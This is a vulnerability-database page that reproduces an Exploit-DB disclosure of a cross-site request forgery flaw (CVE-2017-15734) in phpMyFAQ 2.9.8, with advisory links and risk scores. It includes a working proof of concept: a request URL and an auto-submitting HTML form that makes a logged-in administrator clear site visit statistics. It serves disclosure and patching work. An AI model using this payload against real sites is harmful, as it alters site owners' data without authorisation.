phpMyFAQ 2.9.8 - Cross-Site Request Forgery(CSRF)

🗓️ 03 Dec 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 147 Views

phpMyFAQ version 2.9.8 has a cross site forgery flaw in the clear visits action.

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2017-15734	4 Dec 202521:02	–	circl
CNVD	phpMyFAQ cross-site request forgery vulnerability (CNVD-2017-32428)	23 Oct 201700:00	–	cnvd
CVE	CVE-2017-15734	21 Oct 201722:00	–	cve
Cvelist	CVE-2017-15734	21 Oct 201722:00	–	cvelist
EUVD	EUVD-2017-7157	7 Oct 202500:30	–	euvd
NVD	CVE-2017-15734	22 Oct 201718:29	–	nvd
OpenVAS	phpMyFAQ < 2.9.9 Multiple XSS And CSRF Vulnerabilities	21 Sep 201700:00	–	openvas
Packet Storm	📄 phpMyFAQ 2.9.8 Cross Site Request Forgery	4 Dec 202500:00	–	packetstorm
Prion	Cross site request forgery (csrf)	22 Oct 201718:29	–	prion
RedhatCVE	CVE-2017-15734	22 May 202510:55	–	redhatcve

# Exploit Title: phpMyFAQ 2.9.8 - Cross-Site Request Forgery(CSRF) 
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ
# Software Link: https://github.com/thorsten/phpMyFAQ
# Version: 2.9.8
# Tested on: Ubuntu Windows
# CVE : CVE-2017-15734

PoC: 
Get http://phpmyfaq/admin/index.php?action=clear-visits
Reproduction: While still logged in, open another browser window to access the link.

Some Details:
{
    "Protection Mechanisms Before Patch": "No CSRF token validation was implemented in the 'clear-visits' action within the stat.main.php file, allowing requests to be made without verifying the authenticity of the request origin.",
    "File Navigation Chain": "Public Access Entry URL: http://phpmyfaq/admin/index.php -> Vulnerable File: phpmyfaq/admin/stat.main.php",
    "Execution Path Constraints": "The user must be authenticated and possess the appropriate permissions to access the 'clear-visits' action. The navigation to the vulnerable file relies on the 'action' parameter within the admin index.php file, which must be set to 'clear-visits'.",
    "Request Parameters": "action=clear-visits",
    "Request Method": "GET",
    "Request URL": "http://phpmyfaq/admin/index.php?action=clear-visits",
    "Final PoC": "<html>\n  <body>\n    <form action=\"http://phpmyfaq/admin/index.php?action=clear-visits\" method=\"GET\">\n      <input type=\"submit\" value=\"Submit request\">\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>"
}


[Replace Your Domain Name]

03 Dec 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 26.8

CVSS 38.8

EPSS0.00109